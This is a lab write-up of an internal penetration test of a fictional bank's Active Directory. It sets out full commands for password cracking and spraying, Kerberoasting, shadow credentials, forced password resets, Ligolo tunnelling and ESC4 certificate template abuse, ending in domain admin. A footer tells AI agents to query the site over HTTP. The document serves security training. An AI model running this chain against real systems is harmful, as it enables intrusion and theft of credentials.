# 404 Bank

{% embed url="<https://www.hacksmarter.org/courses/bd8a0659-8afe-40b4-9e95-0fe932850773>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

404 Bank, a staple of the local financial community, is conducting its annual security assessment. To uphold their motto of being **"Proven, Local, Strong,"** the bank has commissioned the **Hack Smarter Red Team** to perform an internal penetration test.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided with VPN access to their internal environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In Bank 404 we begin only with VPN access and no other information.\
Enumeration of the website reveals a downloadable executable, `CorpBankDialer.exe`, containing a Base64-encoded MD5 hash that, once cracked, provides a valid password. Combining this with usernames generated from staff names found on the site, we authenticate as `karl.hackermann`. Using these credentials, we perform BloodHound enumeration and discover that `karl.hackermann` has `GenericWrite` permissions over `tom.reboot`. We escalate via Targeted Kerberoasting, extracting a TGS, and cracking it to recover `tom.reboot`’s password. From there, chained permissions allow `ForceChangePassword` over `robert.graef`, who in turn can `ForceChangePassword` over `jan.tresor` and other users. After adding `jan.tresor` to the Remote Desktop Users group and changing the users password, we gain RDP access and recover credentials for `daniel.hoffmann` from a deleted email.

As `daniel.hoffmann`, we pivot to the webadmin user by resetting its password, then access an internal port `5000` service via Ligolo tunneling. Downloading and cracking a password-protected configuration archive yields credentials for `svc.services`, initially disabled. Using `robert.graef`’s `WriteAccountRestrictions` privilege, we re-enable the account and authenticate successfully. With `svc.services` belonging to the Certificate Service DCOM Access group, we identify a vulnerable Vuln-ESC4 template and exploit it using Certipy by reconfiguring it to an ESC1-style template and requesting a certificate for Administrator. Authenticating with the generated certificate provides the NT hash of Administrator, enabling domain compromise and retrieval of the final flag from the Administrator’s desktop.

</details>

## Recon

We use rustscan `-b 500 -a 10.0.28.235 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.0.28.235 -- -sC -sV -Pn
```

<figure><img src="/files/NUkmwx9OBdehHVMdkA05" alt=""><figcaption></figcaption></figure>

The target machine is actually a domain controller with exposed services including DNS `53`, Kerberos `88/464`, an `IIS /10.0` web server on port `80`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, WinRM on `5985`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="/files/WMF6onE8I0Id0S5Iv7pn" alt=""><figcaption></figcaption></figure>

### WEB

We start our enumeration on the web server on port 80. We first visit the page with our browser and find a static site infront of us.

```
http://404finance.local/
```

<figure><img src="/files/SjhltdfoawLWkRI4v6tn" alt=""><figcaption></figcaption></figure>

As we scroll through the page, we also find a team of three people.

<figure><img src="/files/SpdlAa7oXvYOnc31JHqw" alt=""><figcaption></figcaption></figure>

We note down the individual names of the team members so that we can generate usernames from them later for later use.

```
Alex Meier
Robert Graef
Karl Hackermann
```

On the Services page, we also find an executable file. We download this file.

```
http://404finance.local/services.html
```

<figure><img src="/files/wGsyJOJtwkTCz6LR363b" alt=""><figcaption></figcaption></figure>

Enumerating the directories using Feroxbuster did not yield any useful results.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://404finance.local
```

{% endcode %}

<figure><img src="/files/jg09XIkCSwvBwpbVmwJH" alt=""><figcaption></figcaption></figure>

### SMB

Before we dive in with username enumeration we try to authenticate as `guest` and anonymously against SMB, but without success. Nevertheless we generate the hosts file entry like the following

```
nxc smb 10.0.28.235 -u '' -p '' --generate-hosts-file hosts
```

<figure><img src="/files/kfrGPuRbFqZlME2EszvU" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file. We could also directly append the entry to our hosts file by providing the path to `/etc/hosts` in the NetExec command.

```
10.0.28.235     DC-404.404finance.local 404finance.local DC-404
```

## Access as karl.hackermann

During preliminary analysis using strings of the downloaded `CorpBankDialer.exe`, we find a DEBUG string encoded in base64.

<figure><img src="/files/2PtaAgrnV3KjQZOkv7nJ" alt=""><figcaption></figcaption></figure>

When we decode this, we get an MD5 hash. We then try to crack this. It could be a secret, or password me might need to use later.

<figure><img src="/files/ENYhP9N8aRDMgQ2XmvFO" alt=""><figcaption></figcaption></figure>

We crack the MD5 hash using hashcat and, based on the result we get, we are clearly dealing with a password.

```
hashcat -a0 -m0 'REDACTED' /usr/share/wordlists/rockyou.txt 
```

<figure><img src="/files/HorcnCFJdtvWQQxFFSar" alt=""><figcaption></figcaption></figure>

We have a password and a set of names from the team. What we still need are usernames to test the password against SMB or other available networks.

{% embed url="<https://github.com/urbanadventurer/username-anarchy>" %}

We generate these using username anarchy.

```
username-anarchy -i team.txt > usernames.txt 
```

<figure><img src="/files/FsWg7CaNE54fV672qr8C" alt=""><figcaption></figcaption></figure>

Next, we try every possible username from our username-anachry result with the password found from the executable. And in the end, we are successful; we can successfully authenticate with the password as `karl.hackermann`.&#x20;

```
nxc smb 404finance.local -u usernames.txt -p 'REDACTED'
```

<figure><img src="/files/c23zh4or2lOKYDynEn7w" alt=""><figcaption></figcaption></figure>

We don't see any special shares at first.

```
nxc smb 404finance.local -u karl.hackermann -p 'REDACTED' --shares
```

<figure><img src="/files/aZXti0LwACConpwE9Go0" alt=""><figcaption></figcaption></figure>

## BloodHound enumeration

With the credentials, we can now also enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d 404finance.local -u 'karl.hackermann' -p 'REDACTED' -dc DC-404.404finance.local -ns 10.0.28.235
```

{% endcode %}

<figure><img src="/files/7GWscWCta77x23xER6vH" alt=""><figcaption></figcaption></figure>

We are able to identify `Administrator` as one of the Domain Admins.&#x20;

<figure><img src="/files/9vA1QmMjdealK7V376Wh" alt=""><figcaption></figcaption></figure>

As `karl.hackerman`, we have `GenericWrite` permission over `tom.reboot`. With this, we can either perform a targeted Kerberoast attack to obtain a crackable service ticket, or carry out a shadow credentials attack, which would allow us to authenticate as tom.reboot without knowing their password like we did in Arasaka:&#x20;

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/arasaka#shadow-credentials-attack>" %}

<figure><img src="/files/ysjZ7xjb4svby2oToWkO" alt=""><figcaption></figcaption></figure>

When we look at the shortest path from our owned object, we see that we can start from `karl.hackermann`, who has `GenericWrite` permissions over `tom.reboot`. This allows us to perform either a targeted Kerberoasting attack or a shadow credentials attack like mentioned before. Using this access, we can `ForceChangePassword` on `tom.reboot`, which in turn gives us control over `robert.graef`. From there, we can all compromised users to the Remote Management Users group.

Furthermore, as `robert.graef`, we can `ForceChangePassword` on `nina.inkasso`, `melanie.kunz`, and `jan.tresor`.&#x20;

<figure><img src="/files/srxrAA8PhBYky4G8tz8u" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
If a more recent version of bloodhound-ce.py is used, it might be possible to see even more permissions that `robert.graef` has. These will be necessary for the subsequent privilege escalation. Even though we cannot see them here in the output, we can still use them. More on this when we get to that point. For now, we can continue as follows.
{% endhint %}

## Access as tom.reboot

From our Bloodhound analysis we know that `karl.hackermann` has a `GenericWrite` relationship to `tom.reboot`. This allows either a TargetedKerberoast or Shadow Credentials Atttack.

With the `GenericWrite` permission we are able to modify `tom.reboot'`s servicePrincipalName (SPN), we request a service ticket for it, and perform offline Kerberos ticket cracking to recover its password.

In a Shadow Credentials Attack we abuse the `GenericWrite` permission to add a malicious key credential to `tom.reboot`, allowing authentication as that account without knowing its password.

We will show both options.

### TargetedKerberoast

We'll start with the TargetedKerberoast. See below links for further reading:

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#targeted-kerberoasting>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting>" %}

> This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `WriteProperty` or `Validated-SPN` over the target. A member of the [Account Operator](https://www.thehacker.recipes/ad/movement/builtins/security-groups) group usually has those permissions.
>
> The attacker can add an SPN (`ServicePrincipalName`) to that account. Once the account has an SPN, it becomes vulnerable to [Kerberoasting](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast). This technique is called Targeted Kerberoasting.

To perform the TargetedKerberoast we will use the following tool:

{% embed url="<https://github.com/ShutdownRepo/targetedKerberoast>" %}

We run the following command and are able to get the Kerberos 5, etype 23, TGS-REP blob of the `tom.reboot` user.

{% code overflow="wrap" %}

```
targetedKerberoast.py -d '404finance.local' -u 'karl.hackermann' -p 'REDACTED' --dc-ip 10.0.28.235
```

{% endcode %}

<figure><img src="/files/vssYV0ZNlT9PzJJi1I4M" alt=""><figcaption></figcaption></figure>

We use hashcat to crack the blob and are able to retrieve the password of `tom.reboot`.

```
hashcat -a0 -m13100 tom.reboot.blob /usr/share/wordlists/rockyou.txt --show
```

<figure><img src="/files/0cne7jqWD5LvVOuhQWJt" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated. We could now move on, or try the Shadow Credentials Attack.

```
nxc smb 404finance.local -u tom.reboot -p 'REDACTED' --shares
```

<figure><img src="/files/MaWeEPcG73xgfEaA3gQ7" alt=""><figcaption></figcaption></figure>

### Shadow Credentials Attack

The following Section descirbes the Shadow Credentials Attack it's an alternative path to the TargetedKerberoast attack and can be skipped.

Further information on the Shadow Credentials Attack can be found under the following link:

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials#shadow-credentials>" %}

To perform the Shadow Credentials Attack we are using Certipy.&#x20;

{% embed url="<https://github.com/ly4k/Certipy?tab=readme-ov-file#shadow-credentials>" %}

In short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.

With the following command we issue the attack and are succesful. We retrieve the NT hash of `tom.reboot`.

{% code overflow="wrap" %}

```
certipy shadow auto -u 'karl.hackermann@404finance.local' -p 'REDACTED' -account 'tom.reboot' -dc-ip 10.1.57.15
```

{% endcode %}

<figure><img src="/files/6DcK5ROrYozEghrhWeuw" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated. We could now move on.

```
nxc ldap 404finance.local -u tom.reboot -H 'REDACTED'
```

<figure><img src="/files/ZFJ1RIJhyAo19dMw2q6l" alt=""><figcaption></figcaption></figure>

## Access as robert.graef

From our Bloodhound analysis we know that `tom.reboot` has a `GenericWrite` relationship to `robert.graef`. This allows us to change the password of the user. The following resource showcases the different tools we could use to change the password of the user.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

We will be using bloodyAD.

{% embed url="<https://github.com/CravateRouge/bloodyAD>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"
```

{% endcode %}

Next, with the following command we change the password for `robert.graef` to `Pwned123@!`.

{% code overflow="wrap" %}

```
bloodyAD --host DC-404.404finance.local -d 404finance.local -u 'tom.reboot' -p 'REDACTED' set password 'robert.graef' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/K8qE9qoARVlZT0PA2Ena" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated. We move on.

```
nxc smb 404finance.local -u robert.graef -p 'Pwned123@!' --shares
```

<figure><img src="/files/mey49fkIBkxwyrUMKS7W" alt=""><figcaption></figcaption></figure>

## RDP session with jan.tresor

From `robert.graef`, we can `ForceChangePassword` on `nina.inkasso`, `melanie.kunz`, and `jan.tresor`. For now we will focus only on `jan.tresor` as thats the user having some valubale loot for us later.&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

With the following command we change the password for `jan.tresor` to `Pwned123@!`.

{% code overflow="wrap" %}

```
bloodyAD --host DC-404.404finance.local -d 404finance.local -u 'robert.graef' -p 'Pwned123@!' set password 'jan.tresor' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/2KFafmaOM3lCY6zArWvz" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated. We move on.

```
nxc smb 404finance.local -u jan.tresor -p 'Pwned123@!' --shares
```

<figure><img src="/files/4p99SNmYKwnziY2RFB0g" alt=""><figcaption></figcaption></figure>

However, the user `jan.tresor` is not in the `Remote Desktop Users` group. That doesn't matter, because as `robert.graef` we can add users to this group thanks to the `AddMember` permission. We did this for all users in order to check for each initial access whether there was anything to be gained. However, we only found something with `jan.tresor`. To add a member to the group `Remote Desktop Users` we use also bloodyAD.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember#addmember>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-404.404finance.local -d 404finance.local -u 'robert.graef' -p 'Pwned123@!' add groupMember 'remote desktop users' 'jan.tresor'
```

{% endcode %}

<figure><img src="/files/I3Au0s0IuXf0VHxCKkUY" alt=""><figcaption></figcaption></figure>

After we have added jan.tresor to the Remote Management Users we are able to RDP into the machine. On the Desktop we find a full recycle bin.

<figure><img src="/files/wOz5yJoI5BmLRtLhPZkD" alt=""><figcaption></figcaption></figure>

## Shell as daniel.hoffmann

In the recycle bin, we find some email copies (`.eml` files). One of them may contain something valuable.

<figure><img src="/files/Vg94nqji6jcvAkIH8Wxn" alt=""><figcaption></figcaption></figure>

The Mail `Access Credentials - Don't tell Anyone` stands out in particular. Maybe we'll get lucky. In it, we find the password for Daniel Hoffmann.

<figure><img src="/files/5UWHL6t5J6ZiRbDDYjeL" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec. We successfully authenticated. We move on.

```
nxc smb 404finance.local -u daniel.hoffmann -p 'REDACTED' --shares
```

<figure><img src="/files/YBQaF3BP31z5vtdrZLc0" alt=""><figcaption></figcaption></figure>

The user daniel.hoffmann is in the remote management user group, which would allow us to use evil-winrm for a session. We are testing this.

<figure><img src="/files/YltHPJ8pyTNoNpn88thJ" alt=""><figcaption></figcaption></figure>

We connect to the target machine as daniel.hoffmann using evil-winrm and find the user flag at `C:\Users\daniel.hoffmann\Desktop\user.txt`.

```
evil-winrm -i DC-404.404finance.local -u daniel.hoffmann -p 'REDACTED'
```

<figure><img src="/files/nyi4Z6wRAIg84eF2B8YR" alt=""><figcaption></figcaption></figure>

## Access as webadmin

We check our BloodHound data again to see if we can do more with `daniel.hoffmann` and see that he also has `ForceChangePassword` permissions. This is for the user webadmin.&#x20;

<figure><img src="/files/kRKeMDwtIShKEPHpCgel" alt=""><figcaption></figcaption></figure>

However, it seems that we cannot proceed any further from webadmin. This could be a dead end or a clue. We have not enumerated further on the server yet. It is possible that an internal web server is running on it, from which we could proceed further.

<figure><img src="/files/SMd2tACGB7kIAqYrpoie" alt=""><figcaption></figcaption></figure>

We look at which ports are being listened to and find port 5000.

<figure><img src="/files/l3qqXr9CYNpOphFrWawQ" alt=""><figcaption></figcaption></figure>

We try to request it in the session using the curl alias, but we have to authenticate ourselves. We make the internal ports available to our attacker machine using Ligolo, but we could also do this on a smaller scale with Chisel.

<figure><img src="/files/DANFgsgNBmXJzUN8OEct" alt=""><figcaption></figcaption></figure>

#### Ligolo-ng setup

We will be using the latest release `v0.8.2`:

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

First, we run a proxy.

```
sudo ./proxy -selfcert
```

<figure><img src="/files/dSPUQHnbLTggoGcmeL0u" alt=""><figcaption></figcaption></figure>

Inside that proxy we create an interface called `bank`.

```
ifcreate --name bank
```

Next, we add a single route to the interface to reach the internal services of the host.

```
route_add --name bank --route 240.0.0.1/32
```

<figure><img src="/files/rXmJBnPkBs1eK91B1ANa" alt=""><figcaption></figcaption></figure>

```
./agent.exe -connect 10.200.33.13:11601 --ignore-cert
```

<figure><img src="/files/EAg858ExQpWoU06AhusR" alt=""><figcaption></figcaption></figure>

After the connection has been made we should see in our proxy that an agent has joined.

<figure><img src="/files/MBPs9aNI4m5t3jmvl98a" alt=""><figcaption></figcaption></figure>

We can list and interact with the session by calling `session` and then chosing the session. The following screenshot illustrates the steps taken.

```
session
```

After chosing the session, we can start the tunnel.

```
tunnel_start --tun bank
```

To confirum our tunnel and routes we can issue the following commands:

```
tunnel_list
```

```
route_list
```

<figure><img src="/files/6odJcRpBWIprnEGegWoM" alt=""><figcaption></figcaption></figure>

We can now reach the internal web service running on port 5000 via `http://240.0.0.1:5000`. This requires basic authentication.

<figure><img src="/files/32WJ3HtSmrHgBTGdn1EC" alt=""><figcaption></figcaption></figure>

We'll try using the `webadmin`. But first we need a password for it. We'll change the password as usual using bloodyAD.

{% code overflow="wrap" %}

```
bloodyAD --host DC-404.404finance.local -d 404finance.local -u 'daniel.hoffmann' -p 'REDACTED' set password 'webadmin' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/t37qu8JFNLLOOUCN4AL8" alt=""><figcaption></figcaption></figure>

## Access as svc.services

Next, we enter our set credentials...

```
http://240.0.0.1:5000/
```

<figure><img src="/files/UIhUlkNEP6QXeFoaTEXs" alt=""><figcaption></figcaption></figure>

... and are able to login. We can download service `config_backup.zip` file.

<figure><img src="/files/x6hI5Yz6hgXSsNSeUUKI" alt=""><figcaption></figcaption></figure>

The zip file is password protected. Using zip2john, we generate a hash that we then attempt to crack.

```
zip2john config_backup.zip > config_backup.zip.hash
```

<figure><img src="/files/DY7EcsMJ309SOYAUULZI" alt=""><figcaption></figcaption></figure>

However, our `rockyou.txt` does not seem to contain the password.

```
john --wordlist=/usr/share/wordlists/rockyou.txt config_backup.zip.hash
```

<figure><img src="/files/Yd0bxZwbVE6cnjYQl6XR" alt=""><figcaption></figcaption></figure>

We are trying to generate a word listfrom the keywords on the website. We extract these using cewl.

```
cewl --depth 10 --with-numbers --write cewl.txt http://404finance.local/history.html
```

<figure><img src="/files/QS8USxIEofYtQaTvTWW4" alt=""><figcaption></figcaption></figure>

Using our generated word list, we were able to successfully crack the password of the zip file and unzip its contents.

```
john --wordlist=./cewl.txt config_backup.zip.hash
```

<figure><img src="/files/WWT8odkRLhdjTcj6YVW0" alt=""><figcaption></figcaption></figure>

The zip file contains a `config.dat` file that contains the credentials for the user account `svc.services`.

<figure><img src="/files/D4EGbVMJRIKDR2t5aZI7" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec but the account is disabled.

```
nxc smb 404finance.local -u 'svc.services' -p 'REDACTED'
```

<figure><img src="/files/DI1bwBwWN8BQ0nQ1CIx1" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Here is the crucial part that I missed in my initial enumeration. My version of bloodhound-ce.py does not seem to capture all relationships between the object completely.

In addition to `ForceChangePassword`, `robert.graef` has other permissions, including `WriteAccountRestrictions` on svc.service. This allows us to re-enable the svc.services account.<br>

What `WriteAccountRestrictions` allows:

It lets you modify attributes that control logon behavior, including:

* `userAccountControl`
* Logon hours
* Workstation restrictions

And `ACCOUNTDISABLE` is just a bit inside `userAccountControl`

I received this tip from Schlop, who also introduced me to the GriffonAD tool, which is similar to a text-based version of Bloodhound. I think it's a very cool tool that provides a good overview in small environments.

He also showed me his version, which he forked to implement additional features such as reading the entire zip file from a BloodhHound enumeration.

<https://github.com/schlopshow/GriffonAD>
{% endhint %}

We enable the account like the following using bloodyAD.

{% embed url="<https://github.com/CravateRouge/bloodyAD/wiki/User-Guide#remove-uac>" %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-404.404finance.local -d 404finance.local -u robert.graef -p 'Pwned123@!' remove uac svc.services -f ACCOUNTDISABLE
```

{% endcode %}

<figure><img src="/files/orFewYCKmar6ij0FssvL" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec again and this time we can successfully authenticate.

```
nxc smb 404finance.local -u 'svc.services' -p 'REDACTED'
```

<figure><img src="/files/CMD30bmVaWZfSyck70Fn" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

The svc.services account is member of the Certificates Service DCOM Access group.&#x20;

<figure><img src="/files/ZW87sVwKtTSbMWWWNB6W" alt=""><figcaption></figcaption></figure>

We check if we can find any misconfigured certificate templates to escalate our privileges. We find one. The template Vuln-ESC4 is vulnerable to ESC4. ESC4 means we have write permissions on that certificate template, so we can modify it (for example, add dangerous EKUs or enable user-supplied SANs) and turn it into an ESC1-style vulnerable template

{% code overflow="wrap" %}

```
certipy find -u svc.services@404finance.local -p 'REDACTED' -dc-ip 404finance.local -vulnerable
```

{% endcode %}

<figure><img src="/files/7hULWDTkaVhLAWTTOHVq" alt=""><figcaption></figcaption></figure>

{% code title="20260204000836\_Certipy.json   " overflow="wrap" expandable="true" %}

```
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "404finance-DC-404-CA",
      "DNS Name": "DC-404.404finance.local",
      "Certificate Subject": "CN=404finance-DC-404-CA, DC=404finance, DC=local",
      "Certificate Serial Number": "49F9F3F512FE1BA84F59D5DAAD071218",
      "Certificate Validity Start": "2025-07-03 13:33:46+00:00",
      "Certificate Validity End": "2030-07-03 13:43:46+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "404FINANCE.LOCAL\\Administrators",
        "Access Rights": {
          "2": [
            "404FINANCE.LOCAL\\Administrators",
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ],
          "1": [
            "404FINANCE.LOCAL\\Administrators",
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ],
          "512": [
            "404FINANCE.LOCAL\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "Vuln-ESC4",
      "Display Name": "Vuln-ESC4",
      "Certificate Authorities": [
        "404finance-DC-404-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "PublishToDs",
        "PendAllRequests",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "KDC Authentication",
        "Server Authentication",
        "Smart Card Logon"
      ],
      "Requires Manager Approval": true,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 1,
      "Validity Period": "99 years",
      "Renewal Period": "650430 hours",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "404FINANCE.LOCAL\\Service Account"
          ]
        },
        "Object Control Permissions": {
          "Owner": "404FINANCE.LOCAL\\Enterprise Admins",
          "Full Control Principals": [
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Local System",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "404FINANCE.LOCAL\\Service Account",
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Local System",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "404FINANCE.LOCAL\\Service Account",
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Local System",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Principals": [
            "404FINANCE.LOCAL\\Service Account",
            "404FINANCE.LOCAL\\Domain Admins",
            "404FINANCE.LOCAL\\Local System",
            "404FINANCE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC4": "'404FINANCE.LOCAL\\\\Service Account' has dangerous permissions"
      }
    }
  }
}#
```

{% endcode %}

Template name:

```
Vuln-ESC4
```

<figure><img src="/files/nqT3lWSDollnyykHxYTl" alt=""><figcaption></figcaption></figure>

We can follow the guide of certipys wiki if we are using the current version 5.0.2:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc4-template-hijacking>" %}

> **Step 1: Modify the template to a vulnerable state.** Certipy's `template` command with the `-write-default-configuration` option is a convenient way to automatically reconfigure a target template to a known ESC1-like vulnerable state. This option typically:
>
> * Enables "Enrollee Supplies Subject" (`msPKI-Certificate-Name-Flag = ENROLLEE_SUPPLIES_SUBJECT`).
> * Adds the "Client Authentication" EKU (`pKIExtendedKeyUsage` and `msPKI-Certificate-Application-Policy`).
> * Grants "Full Control" (which includes enrollment rights) on the template to the "Authenticated Users" group (by modifying `nTSecurityDescriptor`).
> * Disables manager approval (`msPKI-Enrollment-Flag` adjusted, `PendAllRequests` removed).
> * Sets "Authorized Signatures Required" to 0 (`msPKI-RA-Signature = 0`).
> * Clears any existing RA Application Policies (`msPKI-RA-Application-Policies`). This command also automatically saves the template's original configuration to a JSON file before applying changes.

But in my case I m using the old version of certipy.

```
certipy template \
    -u 'svc.services@404finance.local' -p 'REDACTED' \
    -dc-ip '10.1.9.196' -template 'Vuln-ESC4' \
    -write-default-configuration
```

<figure><img src="/files/yOitAMkxNuIzAdGQd2JM" alt=""><figcaption></figcaption></figure>

For a reference I suggest the following resource on how to exploit ESC4 with certipy 4.8.2:

{% embed url="<https://seriotonctf.github.io/ADCS-Attacks-with-Certipy/index.html>" %}

We modify the certificate template...

{% code overflow="wrap" %}

```
certipy template -u 'svc.services@404finance.local' -p 'REDACTED' -dc-ip '10.1.9.196' -template 'Vuln-ESC4' -save-old 
```

{% endcode %}

<figure><img src="/files/nhNeuuv3hKkEbIIPL0A0" alt=""><figcaption></figcaption></figure>

... and afterwards request a certificate that impersonates the Administrator account to obtain an authentication certificate for `administrator@404finance.local`.

> **Step 2: Request a certificate using the modified template.** The attacker now requests a certificate for a privileged user (e.g., Administrator), leveraging the ESC1 vulnerability they just created in the "SecureFiles" template.

{% code overflow="wrap" %}

```
certipy req -u 'svc.services@404finance.local' -p 'S3rv1cePower2024!' -dc-ip '10.1.9.196' -ca 404finance-DC-404-CA -template 'Vuln-ESC4' -upn 'administrator@404finance.local'
```

{% endcode %}

<figure><img src="/files/XlPMbuWpwekxqkJYWBBN" alt=""><figcaption></figcaption></figure>

Next we authenticate using the the obtained certificate. We are able to retrieve the NT hash of the `administrator` accoiunt.

> **Step 3: Authenticate using the obtained certificate.**

```
certipy auth -pfx 'administrator.pfx' -dc-ip '10.1.9.196'
```

<figure><img src="/files/nwa6dkygfb1zxenQI86a" alt=""><figcaption></figcaption></figure>

We use the hash to authenticate as Administrator via Evil-WinRM, and retrieve the final flag at `C:\Users\Administrator\Desktop\root.txt`.

```
evil-winrm -i DC-404.404finance.local -u Administrator -H 'REDACTED'
```

<figure><img src="/files/7rMHcWh2gyAfpycZ5mv0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/404-bank.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
